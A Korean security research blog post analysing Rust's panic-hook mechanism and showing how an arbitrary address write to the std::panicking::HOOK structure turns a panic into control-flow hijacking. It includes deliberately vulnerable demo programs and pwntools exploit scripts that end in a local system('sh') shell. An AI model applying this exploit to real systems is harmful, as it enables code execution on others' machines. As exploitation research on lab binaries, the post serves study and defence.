3353 words
17 minutes
Rust Exploitation: From Panic to Shell

Intro#

안녕하세요!

Rust는 메모리 안전성을 제공하는 언어로 잘 알려져 있고, 그 때문에 전통적인 exploitation 기법이 잘 통하지 않는 경우가 많습니다.
하지만 프로그램이 panic을 일으키는 순간에는 이야기가 조금 달라집니다.

이번 글에서는 Rust의 panic 메커니즘을 살펴보고, panic hook을 악용해 단순한 crash를 shell 획득까지 이어갈 수 있는지 분석해보겠습니다.

Rust panic이란?#

먼저 Rust의 panic부터 살펴보겠습니다.
Rust에서 panic은 프로그램이 더 이상 안전하게 실행을 계속할 수 없을 때 발생합니다.

예를 들어 unwrap() 또는 expect()가 실패했을 때 panic이 발생할 수 있고, 개발자가 직접 panic!()을 호출해 발생시킬 수도 있습니다.

Panic은 ResultOption을 사용하는 일반적인 에러 처리와 다릅니다. 에러 처리는 복구 가능한 상황을 다루기 위한 것이지만, panic은 프로그램이 정상적으로 계속 실행될 수 없는 상태를 의미합니다. 기본 설정에서는 panic이 발생하면 에러 메시지를 출력하고, 일반적으로 101과 같은 non-zero exit code로 프로그램을 종료합니다.

이 때문에 Rust에서 panic이 발생하면 프로그램의 control flow는 정상적인 실행 경로에서 벗어납니다. 함수가 평소처럼 return되는 것이 아니라, Rust runtime이 개입해 panic 처리 루틴을 실행하기 시작합니다.

대부분의 경우 panic은 단순히 프로그램을 종료하는 수단으로만 여겨집니다. panic이 발생하면 메시지를 출력하고 종료되기 때문에, 개발자가 그 이후 내부에서 어떤 일이 일어나는지 깊게 생각하는 경우는 많지 않습니다.

하지만 내부 동작을 자세히 들여다보면, panic 처리 과정에는 꽤 흥미로운 실행 흐름이 존재합니다. 프로그램이 실제로 종료되기 전까지 여러 runtime 구성 요소가 panic 처리에 관여합니다.

이 내부 흐름은 일반적인 개발 과정에서는 크게 신경 쓸 필요가 없지만, exploitation 관점에서는 매우 중요한 의미를 가질 수 있습니다.

Rust 공식 문서에서도 panic을 프로그램 실행을 중단하는 runtime 메커니즘으로 설명하지만, 내부 처리 과정이 어떤 식으로 진행되는지는 자세히 다루지 않습니다.

Reference: Rust’s Panic documentation

Rust에서 panic이 발생하면 어떻게 동작할까?#

Panic이 발생한다고 해서 프로그램이 즉시 종료되는 것은 아닙니다. 대신 Rust runtime은 panic을 처리하기 위한 일련의 단계를 실행합니다.

간단히 정리하면 call flow는 다음과 같습니다. (빌드 환경에 따라 symbol 이름은 달라질 수 있습니다.) std::panicking::begin_panic()
└─ std::sys::backtrace::__rust_end_short_backtrace()
  └─ std::panicking::begin_panic::{{closure}}()
    └─ std::panicking::rust_panic_with_hook()

이 실행 흐름을 보면 rust_panic_with_hook()에 도달하기 전의 함수들은 대부분 얇은 wrapper 역할을 합니다. 실제 panic 동작은 rust_panic_with_hook() 내부에서 결정됩니다. 이름에서 알 수 있듯이 이 함수는 panic hook의 존재 여부에 따라 panic 처리 경로를 제어합니다. 왜 이것이 중요한지 이해하기 위해 이 함수를 자세히 살펴보겠습니다.

Panic hook 분석#

이제 rust_panic_with_hook() 내부로 들어가 보겠습니다.

void __cdecl __noreturn std::panicking::rust_panic_with_hook()
{
__int64 v0; // rdx
char v1; // cl
__int64 v2; // rdi
__int64 v3; // rsi
char v4; // r8
char v5; // r14
char v6; // bl
char v7; // al
signed __int32 v8; // eax
__int64 v9; // rdx
__int64 v10; // rax
__int64 v11; // rdx
__int64 v12; // rcx
__int64 *v13; // rax
__int64 **v14; // rdi
__int64 v15; // rdx
__int64 *v16; // [rsp+0h] [rbp-B0h] BYREF
void (__cdecl *v17)(); // [rsp+8h] [rbp-A8h]
__int64 *v18; // [rsp+10h] [rbp-A0h]
void (__cdecl *v19)(); // [rsp+18h] [rbp-98h]
char **v20; // [rsp+20h] [rbp-90h]
__int64 v21; // [rsp+28h] [rbp-88h]
__int64 v22; // [rsp+30h] [rbp-80h]
__int128 v23; // [rsp+38h] [rbp-78h]
char v24; // [rsp+50h] [rbp-60h] BYREF
_QWORD v25[2]; // [rsp+58h] [rbp-58h] BYREF
__int64 v26; // [rsp+68h] [rbp-48h] BYREF
__int64 v27; // [rsp+70h] [rbp-40h]
__int64 v28; // [rsp+78h] [rbp-38h] BYREF
v5 = v4;
v6 = v1;
v26 = v2;
v27 = v3;
v28 = v0;
std::panicking::panic_count::increase();

이 함수에서 가장 먼저 수행되는 작업은 std::panicking::panic_count::increase() 호출입니다.

increase() 구현은 다음과 같습니다.

void __cdecl std::panicking::panic_count::increase()
{
char v0; // of
char v1; // di
__int64 v2; // rt0
unsigned __int64 v3; // rcx
unsigned __int64 v4; // rax
v2 = _InterlockedIncrement64(&std::panicking::panic_count::GLOBAL_PANIC_COUNT);
if ( !((v2 < 0) ^ v0 | (v2 == 0)) )
{
v3 = __readfsqword(0);
if ( !*(_BYTE *)(v3 - 0x20) )
{
v4 = v3 - 0x28;
++*(_QWORD *)v4;
*(_BYTE *)(v4 + 8) = v1;
}
}
}

_InterlockedIncrement64() 호출은 std::panicking::panic_count::GLOBAL_PANIC_COUNT 값을 증가시키고, 증가된 값을 반환합니다. 이후 이 값을 기반으로 현재 thread가 이미 panicking 상태인지 확인합니다.

v3 - 0x20thread::panicking()에 해당합니다.
즉 Rust는 현재 thread에서 이미 panic이 발생했는지 검사합니다. 첫 번째 panic이라면 thread를 panicking 상태로 표시하고, “first panic”을 의미하는 값, 여기서는 2를 반환합니다.

increase()의 반환값에 따라 rust_panic_with_hook()의 이후 동작이 결정됩니다. 가능한 경우는 크게 세 가지입니다.

  • 0 또는 1
    Panic 메시지를 구성하고 출력한 뒤 프로세스를 종료합니다.
  • 2
    현재 thread에서 발생한 첫 번째 panic을 의미합니다. 이 경우 Rust는 panic hook 호출 경로로 진행합니다.

이후 분석에서는 반환값이 2인 경우로 분석하겠습니다. 해당 code path는 아래와 같습니다.

if ( v7 == 2 )
{
v8 = std::panicking::HOOK[0];
if ( std::panicking::HOOK[0] > 0x3FFFFFFDu
|| v8 != _InterlockedCompareExchange(std::panicking::HOOK, std::panicking::HOOK[0] + 1, std::panicking::HOOK[0]) )
{
std::sys::sync::rwlock::futex::RwLock::read_contended();
}
if ( *(_QWORD *)&std::panicking::HOOK[4] )
{
v20 = (char **)(*(__int64 (__fastcall **)(__int64))(v27 + 40))(v26);
v21 = v15;
v22 = v28;
LOBYTE(v23) = v6;
BYTE1(v23) = v5;
(*(void (__fastcall **)(_QWORD))(*(_QWORD *)&std::panicking::HOOK[6] + 0x28))(*(_QWORD *)&std::panicking::HOOK[4]);
}
else
{
v20 = (char **)(*(__int64 (__fastcall **)(__int64))(v27 + 40))(v26);
v21 = v9;
v22 = v28;
LOBYTE(v23) = v6;
BYTE1(v23) = v5;
std::panicking::default_hook();
}
core::ptr::drop_in_place<std::sync::poison::rwlock::RwLockReadGuard<std::panicking::Hook>>();
*(_BYTE *)(__readfsqword(0) - 32) = 0;
if ( v6 )
__rustc::rust_panic();
v20 = &off_451E58;
v21 = 1;
v22 = 8;
v23 = 0;
std::io::Write::write_fmt();
v14 = &v16;
}

코드는 먼저 std::panicking::HOOK[0] 값이 0x3FFFFFFD를 초과하는지 확인합니다.
값이 범위 안에 있으면 atomic compare-and-exchange, 즉 CAS를 사용해 hook counter를 증가시키려고 시도합니다. 이것이 fast path입니다.
값이 한계를 넘었거나 concurrent modification 때문에 CAS가 실패하면 RwLock::read_contended()로 넘어가며, 이는 contention 상황에서 read lock을 획득하기 위한 slow path입니다.

그 다음 코드는 std::panicking::HOOK[4] 값을 확인합니다.

  • HOOK[4]가 NULL이면 Rust는 default_hook()을 호출합니다.
  • HOOK[4]가 0이 아니면 Rust는 (*(HOOK[6] + 0x28))(HOOK[4]) 형태의 indirect call을 수행합니다.

HOOK 배열은 .bss section에 위치하며 runtime에 writable 상태입니다. 따라서 공격자가 Arbitrary Address Write, 즉 AAW primitive를 가지고 있다면 std::panicking::HOOK 내부 field를 덮어써 panic 처리 중 실행 흐름을 바꿀 수 있습니다.

다시 말해 panic은 신뢰할 수 있는 control-flow transfer point로 바뀔 수 있습니다.

다음으로 넘어가기 전에, 간단한 예제 프로그램을 이용해 panic hook이 등록된 경우와 등록되지 않은 경우의 차이를 확인해보겠습니다.

아래 예제들은 panic hook 유무에 따른 동작 차이를 비교하기 위한 프로그램입니다.

  • set_hook version
// rustc panic_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::panic;
fn main() {
panic::set_hook(Box::new(|_| {
println!("Custom panic hook!");
}));
panic!();
}
  • non-hook version
// rustc panic.rs -C relocation-model=static -C link-arg=-no-pie
use std::panic;
fn main() {
panic!();
}

먼저 hook이 없는 non-hook version부터 분석해보겠습니다.

바이너리를 실행하기 전에 std::panicking::begin_panic()에 breakpoint를 설정합니다.
b std::panicking::begin_panic를 설정하고 바이너리를 실행하면 해당 breakpoint에서 실행이 멈춥니다. img

여기서 call chain을 따라 계속 step을 진행하면 rust_panic_with_hook()에 도달합니다. img

함수 내부에서 첫 번째 call instruction은 std::panicking::panic_count::increase()를 호출합니다.
반환값을 확인해보면 2입니다. 앞에서 설명했듯이 이 값 때문에 실행은 panic hook 처리 경로로 들어갑니다. img

Hook 처리 로직 안에서 코드는 먼저 HOOK[0]0x3FFFFFFD를 초과하는지 확인한 뒤 counter 증가를 시도합니다. img

이 시점에서 HOOK 배열을 확인하면 값이 예상대로 증가한 것을 볼 수 있습니다. img

이 경우 HOOK[4]NULL이므로 default panic hook이 호출됩니다.
에러 메시지가 출력되고 바이너리는 종료됩니다. img

다음으로 panic::set_hook()을 사용해 컴파일한 바이너리를 분석합니다.
여기까지의 실행 흐름은 거의 동일합니다.
하지만 코드가 HOOK[4] 값을 확인하는 지점에서, 해당 값이 1로 설정되어 있음을 확인할 수 있습니다. img

HOOK[4]가 0이 아니기 때문에 실행은 custom hook 경로를 따릅니다. 그 결과 default hook 대신 사용자가 정의한 panic hook이 실행됩니다. img

Reference: Rust Panic Hook documentation

Panic을 control flow로 바꾸기#

지금까지의 분석을 바탕으로, 이제 AAW primitive가 있다고 가정하고 이를 control-flow hijacking으로 바꿔보겠습니다.

시연에는 다음 프로그램을 사용합니다.

// rustc overwrite_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::io::{self, Read, Write};
fn main() {
let mut addr_str = String::new();
let mut data = [0u8; 0x20];
print!("addr: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut addr_str).unwrap();
print!("value: ");
io::stdout().flush().unwrap();
io::stdin().read_exact(&mut data).unwrap();
let addr: u64 = addr_str.trim().parse().unwrap();
unsafe {
std::ptr::copy_nonoverlapping(data.as_ptr(), addr as *mut u8, 0x20);
}
panic!();
}

이 프로그램은 사용자로부터 두 입력을 받습니다.

  • 주소 (addr)
  • byte sequence (value)

그 다음 memcpy(addr, value, 0x20)와 동일한 동작을 수행한 뒤 panic!()을 호출합니다.

Hook을 덮어쓰기 전에 먼저 hook의 주소가 필요합니다. 이 주소는 IDA에서 바이너리를 확인하거나 GDB에서 symbol을 resolve해 얻을 수 있습니다. 이 경우 std::panicking::HOOK의 주소는 0x45BA18입니다. img

이제 hook 주소를 알고 있으므로 임의 주소로 실행을 redirect하는 proof-of-concept payload를 만들 수 있습니다. 테스트로 RIP를 0xdeadbeefcafebabe로 설정해보겠습니다.

poc script는 아래와 같습니다.

from pwn import *
e = ELF("./overwrite_hook")
p = process(e.path)
def fake_panic_hook(addr, func):
func_addr = addr + 0x4
payload = b""
payload += p32(0) # HOOK[0]
payload += p64(func) # HOOK[1] - HOOK[2]
payload += p32(0) # HOOK[3]
payload += p32(1) # HOOK[4]
payload += p32(0) # HOOK[5]
payload += p32(func_addr-0x28) # HOOK[6] : HOOK[1] - 0x28
payload += p32(0) # HOOK[7]
return payload
panic_hook = e.sym["_ZN3std9panicking4HOOK17h7fb26004894a95b5E"] # 0x45BA18
payload = fake_panic_hook(panic_hook, 0xdeadbeefcafebabe)
p.sendlineafter(b"addr: ", str(panic_hook).encode())
p.sendafter(b"value: ", payload)
p.interactive()

poc script를 실행한 뒤 HOOK 구조체 상태를 확인하면 RIP가 성공적으로 redirect되는 것을 볼 수 있습니다.
아래와 같이 fake panic hook이 HOOK 구조체에 기록되고, indirect call이 0xdeadbeefcafebabe를 호출합니다. img

이 시점에서 AAWArbitrary Address Call로 성공적으로 변환했습니다.

Panic에서 Shell까지#

안정적인 RIP control을 얻었으므로 이제 shell 실행으로 이어가 보겠습니다.
Shell을 실행하려면 system("sh")를 호출해야 합니다.

앞서 살펴본 것처럼 panic hook이 존재할 때 call site는 다음 형태를 가집니다.

// panic hook invocation
(*(HOOK[6] + 0x28))(HOOK[4]);

즉 다음과 같은 의미입니다.

  • function pointer는 HOOK[6]에서 파생됩니다.
  • argument는 HOOK[4]에서 가져옵니다.

따라서 다음과 같이 설정하면 됩니다.

  • call target을 system으로 설정
  • argument를 "sh"를 가리키는 pointer로 설정

이렇게 구성하면 shell 실행이 가능해집니다.
system()을 호출하려면 runtime address가 필요하므로, 프로그램을 약간 수정해 dlsym()으로 주소를 resolve하도록 만들었습니다.

// rustc overwrite_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::io::{self, Read, Write};
use std::ffi::CString;
extern "C" {
fn dlsym(handle: *mut core::ffi::c_void, symbol: *const i8) -> *mut core::ffi::c_void;
}
const RTLD_DEFAULT: *mut core::ffi::c_void = 0 as *mut _;
fn main() {
let mut addr_str = String::new();
let mut data = [0u8; 0x20];
unsafe {
let sym = CString::new("system").unwrap();
let p = dlsym(RTLD_DEFAULT, sym.as_ptr()) as usize;
println!("libc system @ 0x{:x}", p);
}
print!("addr: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut addr_str).unwrap();
print!("value: ");
io::stdout().flush().unwrap();
io::stdin().read_exact(&mut data).unwrap();
let addr: u64 = addr_str.trim().parse().unwrap();
unsafe {
std::ptr::copy_nonoverlapping(data.as_ptr(), addr as *mut u8, 0x20);
}
panic!();
}

Exploit script는 아래와 같습니다.

from pwn import *
e = ELF("./overwrite_hook")
p = process(e.path)
def fake_panic_hook(addr, func):
func_addr = addr + 0x4
payload = b""
payload += p32(0) # HOOK[0]
payload += p64(func) # HOOK[1] - HOOK[2]
payload += b"sh\x00\x00" # HOOK[3]
payload += p32(addr+0xC) # HOOK[4]
payload += p32(0) # HOOK[5]
payload += p32(func_addr-0x28) # HOOK[6] : HOOK[1] - 0x28
payload += p32(0) # HOOK[7]
return payload
panic_hook = e.sym["_ZN3std9panicking4HOOK17h7fb26004894a95b5E"] # 0x45BA18
system = int(p.recvline().split(b"@")[1], 16)
log.info(f"system @ {hex(system)}")
payload = fake_panic_hook(panic_hook, system)
p.sendlineafter(b"addr: ", str(panic_hook).encode())
p.sendafter(b"value: ", payload)
p.interactive()

아래와 같이 실행이 system("sh")에 도달합니다. img

Shell이 성공적으로 실행되었습니다. img

Summary#

이번 글에서는 Rust의 panic hook 메커니즘을 악용해 Arbitrary Address Call을 달성하는 방법을 살펴보았습니다.
Panic hook 구조체를 덮어씀으로써 Arbitrary Address Write를 안정적인 control-flow hijacking으로 변환할 수 있음을 확인했습니다.

Panic 처리는 Rust runtime의 핵심 기능이므로, panic과 관련된 구조체는 컴파일된 바이너리에 항상 존재합니다.
특히 panic hook은 .bss section에 위치하며 실행 중에도 writable 상태로 남아 있습니다.

결과적으로 Arbitrary Address Write primitive가 존재할 때 panic hook은 신뢰할 수 있는 exploitation target이 될 수 있습니다.
이를 통해 Rust의 runtime behavior도 exploitation에 활용될 수 있음을 확인했습니다.

Rust Exploitation: From Panic to Shell
https://b1ackcat.com/blog/post/rust_exploitation_from_panic_to_shell/ko
Author
BlackCat
Published at
2026-01-26
License
CC BY-NC-SA 4.0